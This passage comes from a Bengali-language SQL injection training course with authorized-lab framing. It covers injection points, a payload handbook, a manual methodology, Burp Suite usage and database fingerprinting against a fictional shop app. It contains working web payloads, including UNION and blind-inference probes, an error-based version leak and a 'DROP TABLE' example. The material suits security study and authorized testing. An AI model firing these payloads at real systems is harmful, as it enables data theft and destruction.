উপরের যেকোনো একটি ভাষার vulnerable কোড নিজে পুনরায় লিখে fixed ভার্সনে রূপান্তর করুন, তারপর ব্যাখ্যা করুন ঠিক কোন লাইনটি পরিবর্তনের ফলে injection সম্ভব না হওয়ার মূল কারণ।
সারসংক্ষেপ
Parameterized query/prepared statement হলো SQLi প্রতিরোধের মূল ভিত্তি, কিন্তু এটি dynamic identifier-কে সুরক্ষা দেয় না — তার জন্য allowlist দরকার। Input validation, least-privilege account, safe error handling, ও secure code review একসাথে defense-in-depth তৈরি করে।
Knowledge-check
- Parameterized query কীভাবে input ও code-কে আলাদা রাখে — কারিগরি ব্যাখ্যা দিন।
- ORM ব্যবহার করলেও কেন SQLi সম্ভব হতে পারে?
- Dynamic ORDER BY কলাম কেন parameter হিসেবে bind করা যায় না?
SQL Injection কোথায় Test করতে হয়
বাস্তব ওয়েব অ্যাপ্লিকেশন ও API-তে কোথায় user-controlled input থাকে, এবং প্রতিটি জায়গায় কীভাবে হাইপোথিসিস তৈরি করে টেস্ট করতে হয়।
কোনো একটি payload বা টেকনিক সব জায়গায় কাজ করবে — এমন কোনো নিশ্চয়তা নেই। প্রতিটি ক্ষেত্রে আলাদাভাবে hypothesis তৈরি করে, baseline-এর সাথে তুলনা করে সিদ্ধান্ত নিতে হবে। নিচের সব উদাহরণ ShopMock নামের fictional অ্যাপ্লিকেশনের উপর ভিত্তি করে।
সাধারণ পদ্ধতি — প্রতিটি জায়গার জন্য
- Input শনাক্ত করা: কোন parameter, field, header বা cookie ইউজার নিয়ন্ত্রণ করতে পারে তা চিহ্নিত করুন।
- Hypothesis তৈরি: অনুমান করুন এই input ব্যাকএন্ডে কী ধরনের query তৈরি করতে পারে (numeric filter, string match, sorting ইত্যাদি)।
- Burp Suite দিয়ে request inspect: Proxy দিয়ে অনুরোধ ক্যাপচার করে প্রতিটি parameter দেখুন — কোনটি স্পষ্টতই ডেটাবেসে ব্যবহৃত হচ্ছে বলে মনে হয়।
- Baseline তৈরি: একটি স্বাভাবিক request পাঠিয়ে তার response (status, length, content) রেকর্ড করুন।
- Test response তুলনা: একটি single-character probe (
') পাঠিয়ে baseline-এর সাথে পার্থক্য আছে কি না দেখুন।
Input-এর ক্ষেত্রসমূহ
১. Login ও Registration Form
POST /login
username=alamin&password=Secret123User-controlled: username, password উভয়ই। Hypothesis: ব্যাকএন্ড সম্ভবত SELECT * FROM users WHERE username='...' AND password='...' টাইপ query চালায়। সম্ভাবনা বেশি কখন: যদি ভুল পাসওয়ার্ডের জন্য আলাদা error message এবং ভুল username-এর জন্য আলাদা message দেখা যায় (username enumeration), তাহলে query username/password আলাদাভাবে চেক করছে — testing surface স্পষ্ট হয়। Vulnerability-এর প্রমাণ নয়: শুধু "Invalid credentials" বার্তা আসা মানেই injection নেই তা প্রমাণ করে না, আবার সেটা থাকা মানেই injection আছে তাও প্রমাণ করে না।
২. Search Box
GET /search?q=laptopHypothesis: প্রায়ই LIKE ক্লজ ব্যবহার হয়: WHERE name LIKE '%laptop%'। এখানে quote escape করার পাশাপাশি % ওয়াইল্ডকার্ডও বিবেচনা করা দরকার। সম্ভাবনা বেশি: Search ফিচার প্রায়ই string concatenation দিয়ে দ্রুত implement করা হয়, তাই এটি একটি উচ্চ-অগ্রাধিকার টেস্ট পয়েন্ট।
৩. Product ID ও Category ID
GET /product?id=42
GET /category?cat=5Hypothesis: numeric context — WHERE id = 42 (quote ছাড়া)। টেস্ট: id=42' (quote) এবং id=42 AND 1=1/id=42 AND 1=2 উভয়ই চেষ্টা করুন, কারণ numeric parameter কখনো কখনো backend-এ string হিসেবেও handle হতে পারে।
৪. URL Query Parameter ও POST Form Field
যেকোনো ?key=value বা form field সম্ভাব্য ইনপুট পয়েন্ট — এমনকি যেগুলো UI-তে দেখা যায় না (hidden field) সেগুলোও। Burp-এর HTTP history-তে প্রতিটি parameter তালিকাভুক্ত করে একে একে পরীক্ষা করুন।
৫. JSON Request Body / REST API / GraphQL
POST /api/orders
Content-Type: application/json
{"product_id": 42, "quantity": 2, "coupon": "SAVE10"}Hypothesis: প্রতিটি JSON key আলাদাভাবে ব্যাকএন্ডে ব্যবহার হতে পারে। coupon-এর মতো string field একটি lookup query ট্রিগার করতে পারে। GraphQL-এ resolver-level-এ আর্গুমেন্ট (যেমন filter: {name: "x"}) একইভাবে পরীক্ষা করা উচিত — অধ্যায় ১৪-এ বিস্তারিত।
৬. Cookies ও HTTP Headers
যদি অ্যাপ্লিকেশন User-Agent, X-Forwarded-For, বা একটি কাস্টম cookie কোনো লগিং বা personalization query-তে ব্যবহার করে (যেমন "এই ব্রাউজার থেকে শেষ ভিজিট" track করা), তাহলে এগুলোও user-controlled input — attacker সহজেই Burp Repeater দিয়ে এই মানগুলো পরিবর্তন করতে পারে।
৭. Sorting, Filtering, Pagination (limit/offset)
GET /products?sort=price&order=asc&page=2&limit=20Hypothesis: sort/order প্রায়ই সরাসরি ORDER BY ক্লজে বসে (identifier context — আলাদা payload দরকার, অধ্যায় ০৩-এর "ORDER BY ক্লজ ইনজেকশন" দেখুন); limit/offset numeric context। এই প্যারামিটারগুলো প্রায়ই developer-রা "শুধু UI নিয়ন্ত্রণ করে" ভেবে কম সতর্কতার সাথে handle করেন — তাই বাস্তবে এখানে vulnerability পাওয়ার সম্ভাবনা তুলনামূলক বেশি।
৮. User Profile ও Account Settings
প্রোফাইল আপডেট ফর্ম (নাম, ঠিকানা, বায়ো) প্রায়ই একটি UPDATE query ট্রিগার করে। যদিও UPDATE-ভিত্তিক injection সাধারণত blind হয় (কোনো ডেটা সরাসরি response-এ আসে না), তবুও boolean/time-based টেকনিক এখানে কার্যকর হতে পারে।
৯. Order History ও Product Filtering, Report/Export
Export ফিচার (যেমন CSV/PDF রিপোর্ট জেনারেশন) প্রায়ই জটিল, multi-filter query ব্যবহার করে যা ডেভেলপার কম টেস্ট করেন — তাই এগুলো উচ্চ-অগ্রাধিকার টার্গেট।
১০. File Metadata ও Database-backed Upload Workflow
ফাইল আপলোডের সময় filename, metadata (যেমন EXIF ট্যাগ) যদি ডেটাবেসে সংরক্ষণের আগে query-তে ব্যবহৃত হয় (যেমন duplicate filename চেক করতে), তাহলে filename নিজেই একটি injection vector হতে পারে।
১১. Hidden Form Field ও Multi-Step Workflow (Second-Order)
একটি multi-step checkout-এ ধাপ ১-এ দেওয়া ডেটা ধাপ ৩-এ ভিন্ন একটি query-তে ব্যবহৃত হতে পারে — এটি second-order SQLi-এর সম্ভাব্য ক্ষেত্র (অধ্যায় ০৩ দেখুন)। Hidden field-এর মান DOM-এ দেখা গেলেও, Burp দিয়ে request intercept করে সরাসরি পরিবর্তন করা সম্ভব।
১২. Admin Panel (শুধুমাত্র অনুমোদিত টেস্টিং-এ)
Admin panel-এ সাধারণত বেশি জটিল filtering/reporting ফিচার থাকে এবং কম ব্যবহারকারীর দ্বারা টেস্ট হয় বলে ঝুঁকি বেশি থাকতে পারে — কিন্তু এখানে টেস্টিং শুধুমাত্র তখনই করা উচিত যখন scope-এ স্পষ্টভাবে admin-level access অনুমোদিত।
কোথায় সম্ভাবনা বেশি, কোথায় কম
| বেশি সম্ভাবনা | কম সম্ভাবনা (কিন্তু শূন্য নয়) |
|---|---|
| Search, sort, filter, export, legacy endpoint | ORM-ভিত্তিক আধুনিক CRUD endpoint (তবে raw query অংশ থাকলে ঝুঁকিপূর্ণ) |
| Internal/admin reporting টুল | হাই-ট্রাফিক, বহুবার security-reviewed পাবলিক endpoint |
| সম্প্রতি যোগ হওয়া বা কম-ব্যবহৃত ফিচার | Framework-generated standard CRUD যেখানে কাস্টম SQL নেই |
কোন ফলাফল Vulnerability-এর প্রমাণ নয়
- একটি generic HTTP ৪০০/৫০০ error (কোনো SQL-নির্দিষ্ট তথ্য ছাড়া)।
- Response সময় সামান্য ভিন্ন হওয়া (নেটওয়ার্ক শব্দ হতে পারে) — বারবার পরীক্ষা না করে সিদ্ধান্ত নেওয়া যাবে না।
- Input reflect হওয়া (response-এ ফিরে আসা) — এটি XSS-সম্পর্কিত হতে পারে, SQLi নয়।
অনুশীলন
একটি authorized lab অ্যাপ্লিকেশনে (যেমন PortSwigger Web Security Academy) গিয়ে, Burp Proxy চালু করে, একটি সার্চ ফিচারের সব HTTP parameter তালিকাভুক্ত করুন এবং প্রতিটির জন্য একটি hypothesis লিখুন — ব্যাকএন্ডে এটি numeric না string context-এ ব্যবহৃত হতে পারে বলে মনে হয়।
সারসংক্ষেপ
User-controlled input শুধু visible form field নয় — URL parameter, JSON body, cookie, header, sorting/pagination parameter, এমনকি file metadata-ও সম্ভাব্য injection point। প্রতিটি ক্ষেত্রে আলাদা hypothesis তৈরি করে, baseline-এর সাথে তুলনা করে পরীক্ষা করা জরুরি — কোনো universal payload বা স্থান নেই যেখানে সবসময় vulnerability থাকবে।
Knowledge-check
- Sorting parameter কেন সাধারণত বেশি ঝুঁকিপূর্ণ হতে পারে?
- Second-order SQLi শনাক্ত করতে multi-step workflow কেন বিশেষভাবে পরীক্ষা করা দরকার?
- Response reflect হওয়া কেন SQLi-এর প্রমাণ নয়?
SQL Injection Payload Handbook
Categorized payload রেফারেন্স — প্রতিটির উদ্দেশ্য, database dependency, expected observation ও সীমাবদ্ধতা সহ।
এখানে কোনো payload "universal" নয়। প্রতিটি payload-এর কার্যকারিতা database engine, query context (string/numeric/identifier) এবং application-এর error-handling আচরণের উপর নির্ভরশীল। শুধুমাত্র নিজের lab বা অনুমোদিত target-এ ব্যবহার করুন।
১. Basic Syntax Probe
'
"
`
)
))
;Database dependency: সব relational DB-তে প্রযোজ্য, কিন্তু কোন character ব্যবহার হবে তা context-নির্ভর (string context-এ quote, function call-এর ভেতরে থাকলে parenthesis)। Expected observation: error message, HTTP status পরিবর্তন, বা response length-এ পার্থক্য। সীমাবদ্ধতা: input sanitize/escape হলে কোনো প্রভাব দেখা যাবে না — এটি শুধু প্রাথমিক সংকেত, নিশ্চিত প্রমাণ নয়।
২. Single-Quote ও Double-Quote Test
Original: id=7
Test: id=7'
Test: id=7"
Test: id=7\' (escaped quote, WAF/filter bypass পরীক্ষার জন্য)MySQL ও PostgreSQL-এ string literal সাধারণত single quote দিয়ে ঘেরা থাকে; MSSQL-এও তাই। Double quote কিছু DB-তে (PostgreSQL, Oracle) identifier (কলাম/টেবিল নাম) বোঝাতে ব্যবহৃত হয়, string-এর জন্য নয় — তাই DB অনুযায়ী ফলাফল ভিন্ন হতে পারে।
৩. Parentheses ও Context Test
id=(7)
id=7)
id=7))যদি input কোনো function call-এর আর্গুমেন্ট হিসেবে ব্যবহৃত হয় (যেমন WHERE id IN (SELECT ... WHERE x = (7))), তাহলে অতিরিক্ত বা কম closing parenthesis দিয়ে ঠিক কয়টি nested level আছে তা অনুমান করা যায়।
৪. Numeric Input Test
id=7 AND 1=1
id=7 AND 1=2
id=7+0
id=7-0
id=7 OR 1=1Expected: AND 1=1 স্বাভাবিক ফলাফল দেখানো উচিত (কারণ শর্ত true), AND 1=2-এ ফলাফল না আসা উচিত (শর্ত false) — এই পার্থক্যই injection-এর ইঙ্গিত। id=7+0 গাণিতিকভাবে ৭-এর সমান ফলাফল দিলে বোঝা যায় input arithmetic context-এ parse হচ্ছে (অর্থাৎ ইনজেকশনের সুযোগ আছে), কিন্তু যদি ভিন্ন ফলাফল আসে (বা error) তাহলে সরাসরি string হিসেবে ট্রিট হচ্ছে বলে মনে হতে পারে।
৫. Boolean True/False Comparison
' AND '1'='1
' AND '1'='2
' OR '1'='1
1 AND 1=1--
1 AND 1=2--এই payload গুলোর মূল উদ্দেশ্য একটি নির্ভরযোগ্য true/false চ্যানেল প্রতিষ্ঠা করা — অধ্যায় ০৩-এর "Boolean-Based Blind" সেকশনে বিস্তারিত পদ্ধতি দেওয়া আছে।
৬. Error-Based Probe (Database-নির্দিষ্ট)
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --কীভাবে কাজ করে: EXTRACTVALUE একটি XPath function যা ভুল XPath পেলে error ছোড়ে, এবং সেই error message-এর মধ্যে সাব-কোয়েরির ফলাফল (এখানে database version) প্রদর্শিত হয় — এটি error-based SQLi-কে আরও নির্ভুলভাবে ডেটা বের করার কাজে ব্যবহার করা যায়। এটি শুধুমাত্র MySQL-এ কাজ করে এবং verbose error দেখানো হলেই কার্যকর।
৭. UNION Column-Count Discovery
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- (error না আসা পর্যন্ত বাড়াতে থাকুন)
অথবা:
UNION SELECT NULL--
UNION SELECT NULL,NULL--
UNION SELECT NULL,NULL,NULL--বিস্তারিত পদ্ধতি অধ্যায় ০৩-এর UNION-based সেকশনে।
৮. NULL-Based UNION Alignment
UNION SELECT NULL, 'probe-marker-xyz', NULL--NULL প্রায় সব data type-এর সাথে সামঞ্জস্যপূর্ণ, তাই column-count ঠিক হওয়ার পর কোন position display হয় তা বের করতে ব্যবহৃত হয়। একবার marker স্ট্রিং response-এ দেখা গেলে, সেই position-এ প্রকৃত ডেটা (যেমন username) বসানো যায়।
৯. Database Fingerprinting Probe
-- MySQL
SELECT @@version
-- PostgreSQL
SELECT version()
-- MSSQL
SELECT @@version
-- Oracle
SELECT banner FROM v$version
-- SQLite
SELECT sqlite_version()পূর্ণ fingerprinting পদ্ধতি অধ্যায় ০৮-এ।
১০. Blind SQLi Inference (Substring)
AND SUBSTRING((SELECT database()),1,1)='a'
AND ASCII(SUBSTRING((SELECT database()),1,1))>100ASCII()-ভিত্তিক comparison character-by-character না করে binary-search পদ্ধতিতে (>, <) দ্রুত প্রতিটি অক্ষর বের করতে দেয় — প্রতি অক্ষরে গড়ে log₂(১২৮) ≈ ৭টি request লাগে, ১২৭টির বদলে।
১১. Time-Delay Verification
অধ্যায় ০৩-এর Time-Based Blind সেকশনে DB-নির্দিষ্ট syntax বিস্তারিত দেওয়া আছে (SLEEP, pg_sleep, WAITFOR DELAY)।
১২. ORDER BY Testing
ORDER BY 1--
ORDER BY (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)--যেহেতু ORDER BY-তে সরাসরি column reference লাগে, condition-ভিত্তিক error তৈরি করতে CASE WHEN ব্যবহার করে এমন একটি expression বানানো হয় যা false হলে একাধিক row ফেরত দেওয়ার চেষ্টা করে এবং error তৈরি করে (sub-query-তে একাধিক row আসলে error হয়)।
১৩. Second-Order SQLi Investigation
Payload সরাসরি response-এ প্রভাব না ফেলে প্রথমে সংরক্ষণ করুন (যেমন একটি প্রোফাইল নাম ফিল্ডে O'Brien'; ---জাতীয় টেক্সট সংরক্ষণ করে), এরপর সেই ডেটা যেসব ফিচার ব্যবহার করে (রিপোর্ট, সার্চ, এক্সপোর্ট) সেগুলো পরীক্ষা করে দেখুন প্রভাব দেখা যায় কি না — বিস্তারিত অধ্যায় ১৩-এ।
১৪. DBMS-নির্দিষ্ট Syntax পার্থক্য
| বিষয় | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| Comment | -- / # | -- | -- | -- | -- |
| String concat | CONCAT(a,b) | a || b | a + b | a || b | a || b |
| Delay | SLEEP(5) | pg_sleep(5) | WAITFOR DELAY '0:0:5' | DBMS_LOCK.SLEEP(5) | নেই (native) |
| Stacked queries | সাধারণত না (ড্রাইভার-নির্ভর) | প্রায়ই হ্যাঁ | হ্যাঁ | সীমিত | ড্রাইভার-নির্ভর |
| No-table SELECT | হ্যাঁ | হ্যাঁ | হ্যাঁ | না, FROM dual লাগে | হ্যাঁ |
পূর্ণ fingerprinting টেবিল অধ্যায় ০৮-এ।
১৫. JSON/API Testing Examples
{"username": "alamin' OR '1'='1", "password": "x"}
{"sort": "price; DROP TABLE orders--"}
{"filter": {"category": "electronics' UNION SELECT NULL,NULL--"}}JSON-এ quote ব্যবহার করলে JSON parser-এর নিজস্ব escaping (\") মাথায় রাখতে হবে — payload-এর মধ্যে single quote (JSON string-এর জন্য সমস্যা তৈরি করে না) ব্যবহার করা তুলনামূলক সহজ, কিন্তু double quote ব্যবহার করলে JSON escape (\\\") করতে হবে, নইলে request-ই invalid JSON হয়ে যাবে এবং পার্স ব্যর্থ হবে।
অনুশীলন
একটি authorized lab endpoint-এ উপরের ১৫টি ক্যাটাগরি থেকে অন্তত ৫টি ভিন্ন payload চেষ্টা করুন এবং প্রতিটির জন্য baseline-এর সাথে response তুলনা করে একটি নোট লিখুন — কাজ করেছে, করেনি, নাকি অনিশ্চিত।
সারসংক্ষেপ
এই handbook একটি রেফারেন্স, নির্দেশিকা নয় — প্রতিটি payload-এর পেছনের যুক্তি বুঝে, database ও context অনুযায়ী মানিয়ে ব্যবহার করতে হবে। সন্দেহ হলে সবসময় alternative explanation বিবেচনা করুন।
Knowledge-check
- ASCII-ভিত্তিক binary-search inference কেন substring-এর চেয়ে দ্রুত?
- JSON body-তে double quote payload ব্যবহার করলে কী সমস্যা হতে পারে?
- কেন
FROM dualশুধু Oracle-এ প্রয়োজন?
Manual SQLi Testing Methodology
একটি repeatable, ১৫-ধাপের workflow — প্রতিটি ধাপে practical উদাহরণসহ।
একসাথে একাধিক parameter পরিবর্তন করবেন না। যদি একই request-এ দুটি parameter বদলান এবং response পরিবর্তিত হয়, তাহলে কোনটির জন্য পরিবর্তন হলো তা নিশ্চিতভাবে বলা যাবে না। Controlled testing মানে প্রতিবার ঠিক একটি variable বদলানো।
-
Testing scope ও authorization যাচাই
টেস্ট শুরুর আগে লিখিতভাবে নিশ্চিত হোন কোন ডোমেইন/endpoint scope-এ আছে, কোনটি নেই, এবং কী ধরনের টেস্টিং (active/passive, destructive/non-destructive) অনুমোদিত। Bug bounty প্রোগ্রামের ক্ষেত্রে program policy পুনরায় পড়ুন।
-
Application Mapping
পুরো অ্যাপ্লিকেশন ব্রাউজ করে (Burp Proxy চালু রেখে) একটি sitemap তৈরি করুন — কোন কোন endpoint, parameter, ফর্ম আছে তার তালিকা। এটি অধ্যায় ০৪-এর "কোথায় টেস্ট করতে হয়" তালিকার সাথে ক্রস-রেফারেন্স করুন।
-
Burp Suite Proxy দিয়ে Request Capture
GET /product?id=7 HTTP/1.1 Host: shopmock.local Cookie: session=abc123Proxy > HTTP history-তে প্রতিটি request সংরক্ষিত থাকে — পরবর্তী বিশ্লেষণের জন্য এটি মূল উৎস।
-
Repeater-এ Request পাঠানো
টেস্ট করার মতো request-টি right-click করে "Send to Repeater"-এ পাঠান। Repeater-এ একই request বারবার, সামান্য পরিবর্তন করে পাঠানো যায় এবং response পাশাপাশি দেখা যায় — manual testing-এর মূল টুল।
-
Parameters Identify করা
URL, body, cookie, header — প্রতিটি অংশে কোন কোন value আছে তালিকা করুন। প্রতিটিকে আলাদাভাবে টেস্ট করার পরিকল্পনা করুন।
-
Baseline Response তৈরি করা
অপরিবর্তিত request পাঠিয়ে status code, response length, এবং body-এর একটি অংশ (যেমন প্রোডাক্ট নাম) নোট করুন — এটিই তুলনার ভিত্তি।
Baseline: GET /product?id=7 → 200 OK, length=4213, "Wireless Mouse" -
একটি Parameter পরিবর্তন করে Test করা
Test 1: id=7' → ? Test 2: id=7 AND 1=1 → ? Test 3: id=7 AND 1=2 → ?প্রতিটি টেস্টের ফলাফল আলাদাভাবে রেকর্ড করুন।
-
True/False Condition তুলনা
AND 1=1(baseline-এর মতো) বনামAND 1=2(ভিন্ন) — যদি দুটোর response আলাদা হয়, এটি একটি শক্তিশালী সংকেত। -
Error ও Response Differences পর্যবেক্ষণ
শুধু "ভিন্ন দেখাচ্ছে" বলাই যথেষ্ট না — ঠিক কোন অংশ ভিন্ন (status code? length? নির্দিষ্ট টেক্সট?) নির্দিষ্টভাবে লিখে রাখুন, যাতে পরে প্রমাণ হিসেবে ব্যবহার করা যায়।
-
প্রয়োজন অনুযায়ী Timing পরীক্ষা
যদি content-ভিত্তিক কোনো পার্থক্য না পাওয়া যায়, তাহলে time-based payload (অধ্যায় ০৩, ০৫) দিয়ে পরীক্ষা করুন — কিন্তু একাধিকবার পরিমাপ করে নিশ্চিত হোন।
-
Database Fingerprinting
Injection নিশ্চিত হলে, exploitation চালিয়ে যাওয়ার আগে database engine শনাক্ত করুন (অধ্যায় ০৮) — এটি পরবর্তী payload নির্বাচনকে সহজ করে।
-
Evidence সংগ্রহ
প্রতিটি request/response জোড়া (raw HTTP, screenshot, timestamp) সংরক্ষণ করুন — রিপোর্ট লেখার সময় এগুলোই মূল প্রমাণ (অধ্যায় ১৯)।
-
False Positive বাদ দেওয়া
একই test কমপক্ষে দু'বার পুনরাবৃত্তি করে সামঞ্জস্য (consistency) যাচাই করুন (অধ্যায় ১৮)।
-
Impact যাচাই
Injection নিশ্চিত হলে, ন্যূনতম প্রয়োজনীয় প্রমাণ (যেমন database version, বা একটি non-sensitive টেবিলের নাম) দিয়ে impact দেখান — অতিরিক্ত ডেটা বের করার প্রয়োজন নেই (অধ্যায় ১৬)।
-
Professional Report তৈরি
অধ্যায় ১৯-এর টেমপ্লেট অনুসরণ করে একটি সম্পূর্ণ, reproducible রিপোর্ট লিখুন।
অনুশীলন
একটি authorized lab endpoint-এ এই ১৫টি ধাপ ক্রমানুসারে অনুসরণ করে একটি testing log তৈরি করুন — প্রতিটি ধাপে কী পর্যবেক্ষণ করলেন তা লিখুন।
সারসংক্ষেপ
Manual SQLi টেস্টিং একটি শৃঙ্খলাবদ্ধ, ধাপে-ধাপে প্রক্রিয়া — scope যাচাই থেকে শুরু করে রিপোর্ট লেখা পর্যন্ত। প্রতিটি ধাপে একটি মাত্র variable বদলে controlled পর্যবেক্ষণ রাখাই নির্ভরযোগ্য সিদ্ধান্তের চাবিকাঠি।
Knowledge-check
- একসাথে একাধিক parameter বদলানো কেন সমস্যাজনক?
- Baseline response কেন প্রথমে তৈরি করা জরুরি?
- Impact যাচাইয়ের সময় কেন অতিরিক্ত ডেটা বের করার প্রয়োজন নেই?
Burp Suite দিয়ে SQLi Testing
Proxy, Repeater ও Intruder দিয়ে বাস্তবসম্মত ধাপে ধাপে SQLi টেস্টিং।
Proxy, HTTP History, Repeater ও Intruder-এর ভূমিকা
Proxy
ব্রাউজার ও সার্ভারের মাঝখানে বসে প্রতিটি request/response ক্যাপচার করে — ম্যানুয়াল টেস্টিং-এর শুরু এখান থেকেই।
HTTP History
সব ক্যাপচার হওয়া request-এর তালিকা, যেখান থেকে যেকোনোটি Repeater/Intruder-এ পাঠানো যায়।
Repeater
একটি request বারবার, ছোট পরিবর্তন করে পাঠিয়ে response তুলনা করার টুল — manual SQLi টেস্টিং-এর মূল কর্মক্ষেত্র।
Intruder
একটি নির্দিষ্ট position-এ স্বয়ংক্রিয়ভাবে একাধিক payload বসিয়ে ব্যাচ-টেস্ট চালানোর টুল — কিন্তু এটি manual বিশ্লেষণের বিকল্প নয়।
Request ও Response পড়ার নিয়ম
GET /product?id=7 HTTP/1.1
Host: shopmock.local
Cookie: session=eyJhbGciOi...
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4213
<h1>Wireless Mouse</h1>...প্রতিটি অংশ লক্ষ্য করুন — method, path, query string, headers, cookie, body (POST হলে), এবং response-এর status line, headers, body। SQLi টেস্টিং-এর সময় request-এর যেকোনো অংশ (শুধু query parameter নয়) পরিবর্তনযোগ্য বলে বিবেচনা করুন।
URL Encoding ও Form Encoding
Single quote URL-এ পাঠাতে হলে %27 ব্যবহার করতে হতে পারে (Burp Repeater সাধারণত এটি স্বয়ংক্রিয়ভাবে সামলায়, কিন্তু raw curl/script ব্যবহার করলে manually encode করা জরুরি)। স্পেস %20 বা +, এবং # (comment) পাঠাতে %23 প্রয়োজন হতে পারে কারণ # URL fragment হিসেবে ব্রাউজার/প্রক্সিতে আলাদাভাবে ট্রিট হয়।
JSON Body Modification
মূল: {"id": 7}
পরিবর্তিত: {"id": "7'"}
পরিবর্তিত: {"id": "7 AND 1=1"}লক্ষ্য রাখুন JSON valid থাকে কি না — payload-এর মধ্যে unescaped double quote থাকলে পুরো JSON parse ব্যর্থ হবে এবং আপনি একটি ভিন্ন (JSON parsing) error পাবেন, যা SQLi-এর সাথে বিভ্রান্তিকর হতে পারে।
Cookie ও Header Inspection
Repeater-এ cookie/header মান সরাসরি edit করা যায়। যদি কোনো cookie ডিক্রিপ্ট করা দরকার হয় (যেমন base64-এ এনকোড করা JSON), তাহলে Burp-এর Inspector প্যানেল বা Decoder টুল ব্যবহার করুন।
Baseline Comparison
Burp Repeater-এর একাধিক ট্যাবে বেসলাইন ও টেস্ট request পাশাপাশি রেখে Comparer টুল (right-click → "Send to Comparer") দিয়ে দুটি response-এর শব্দ-পর্যায়ের (word-level) পার্থক্য visually দেখা যায় — এটি ছোট পার্থক্য ধরতে কার্যকর।
Response Length, Status Code, Body ও Timing Analysis
| সংকেত | কীভাবে দেখবেন |
|---|---|
| Length | Repeater-এর response panel-এর উপরে প্রদর্শিত byte count |
| Status code | Response-এর প্রথম লাইন (200, 403, 500 ইত্যাদি) |
| Body content | নির্দিষ্ট টেক্সট (যেমন প্রোডাক্ট নাম) থাকা/না-থাকা |
| Timing | Repeater-এর response time ইন্ডিকেটর (ms); একাধিকবার পাঠিয়ে গড় নিন |
Manual Testing বনাম Automated Scanner
Burp-এর automated scanner (Pro ভার্সনে) দ্রুত অনেক parameter স্ক্যান করতে পারে, কিন্তু context-aware নয় — এটি false positive/negative দুটোই তৈরি করতে পারে, বিশেষ করে blind বা second-order SQLi-তে। Manual verification সবসময় চূড়ান্ত সিদ্ধান্তের আগে প্রয়োজন (অধ্যায় ১৫-এ বিস্তারিত)।
Intruder দিয়ে Authorized Lab Testing
Intruder-এ "Sniper" মোড ব্যবহার করে একটি parameter position-এ একাধিক payload (যেমন quote ভ্যারিয়েশন) পাঠিয়ে response length/status-এর কলাম দেখে দ্রুত outlier শনাক্ত করা যায়। এটি শুধুমাত্র authorized lab-এ, নিয়ন্ত্রিত request rate-এ ব্যবহার করুন।
Rate Limiting ও Request Volume নিয়ন্ত্রণ
Intruder-এর "Resource Pool" সেটিংসে concurrent request সংখ্যা ও throttling নিয়ন্ত্রণ করা যায় — অতিরিক্ত দ্রুত request পাঠানো target সার্ভারে অনিচ্ছাকৃত লোড তৈরি করতে পারে, যা অননুমোদিত আচরণ হিসেবে গণ্য হতে পারে।
Evidence সংরক্ষণ
Burp-এর "Save item" ফিচার দিয়ে প্রতিটি গুরুত্বপূর্ণ request/response জোড়া export করুন (.txt বা Burp project ফাইল হিসেবে) — রিপোর্ট লেখার সময় এগুলো সরাসরি উদ্ধৃত করা যাবে।
Common Burp Suite Mistakes
- একসাথে একাধিক parameter পরিবর্তন করে Repeater-এ পাঠানো, ফলে কোন পরিবর্তনে প্রভাব পড়ল তা অস্পষ্ট থাকা।
- URL-encoded payload ভুলভাবে double-encode করা, ফলে payload-টি backend-এ ভিন্নভাবে পৌঁছানো।
- Session cookie expire হয়ে যাওয়ার পরও পুরনো request পাঠিয়ে ভুল সিদ্ধান্তে পৌঁছানো (৪০১/৪০৩ response-কে vulnerability-না-থাকা হিসেবে ভুল বোঝা)।
- Intruder দিয়ে rate-limit/WAF trigger করে ফেলা, যা পরবর্তী সব টেস্টকে প্রভাবিত করে।
অনুশীলন
একটি authorized lab request Repeater-এ নিয়ে, Comparer টুল ব্যবহার করে একটি baseline ও একটি AND 1=2 টেস্ট response-এর মধ্যে word-level পার্থক্য খুঁজে বের করুন।
সারসংক্ষেপ
Burp Suite-এর Proxy/Repeater/Intruder/Comparer একসাথে ব্যবহার করে systematic, evidence-based SQLi টেস্টিং সম্ভব। Automated scanning দ্রুত কিন্তু context-blind — manual verification সবসময় প্রয়োজন।
Knowledge-check
- Comparer টুল কখন বিশেষভাবে উপযোগী?
- JSON body-তে payload বসানোর সময় কোন common mistake এড়ানো উচিত?
- Intruder ব্যবহার করার সময় rate limiting কেন গুরুত্বপূর্ণ?
Database Fingerprinting
কোন database engine ব্যবহৃত হচ্ছে তা শনাক্ত করা — পরবর্তী সব payload নির্বাচনের ভিত্তি।
SQLi নিশ্চিত হওয়ার পর পরবর্তী গুরুত্বপূর্ণ ধাপ হলো backend database engine শনাক্ত করা — কারণ syntax, function নাম, এবং comment style প্রতিটি DBMS-এ ভিন্ন। ভুল DBMS ধরে নিয়ে payload পাঠালে শুধু সময় নষ্ট হয় না, বরং ভুল সিদ্ধান্তেও পৌঁছানো যায়।
Syntax Differences
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite | |
|---|---|---|---|---|---|
| Version query | SELECT @@version | SELECT version() | SELECT @@version | SELECT banner FROM v$version | SELECT sqlite_version() |
| Current DB | SELECT database() | SELECT current_database() | SELECT DB_NAME() | SELECT ora_database_name FROM dual | N/A (ফাইল-ভিত্তিক) |
| Table listing | information_schema.tables | information_schema.tables | information_schema.tables | all_tables | sqlite_master |
String Concatenation
MySQL: CONCAT('a','b') → 'ab'
PostgreSQL: 'a' || 'b' → 'ab'
MSSQL: 'a' + 'b' → 'ab'
Oracle: 'a' || 'b' → 'ab'
SQLite: 'a' || 'b' → 'ab'MSSQL-এ + ব্যবহার হওয়ায়, numeric context-এ এটি addition-ও হতে পারে — তাই type নিশ্চিত করা জরুরি।
Comment Syntax
| DBMS | Single-line | নোট |
|---|---|---|
| MySQL | -- (স্পেস আবশ্যক) বা # | ---এর পর স্পেস না থাকলে MySQL এটি কমেন্ট হিসেবে না-ও নিতে পারে |
| PostgreSQL | -- | স্পেস আবশ্যক নয় |
| MSSQL | -- | স্পেস আবশ্যক নয় |
| Oracle | -- | স্পেস আবশ্যক নয় |
| SQLite | -- | স্পেস আবশ্যক নয় |
Boolean Expression আচরণ
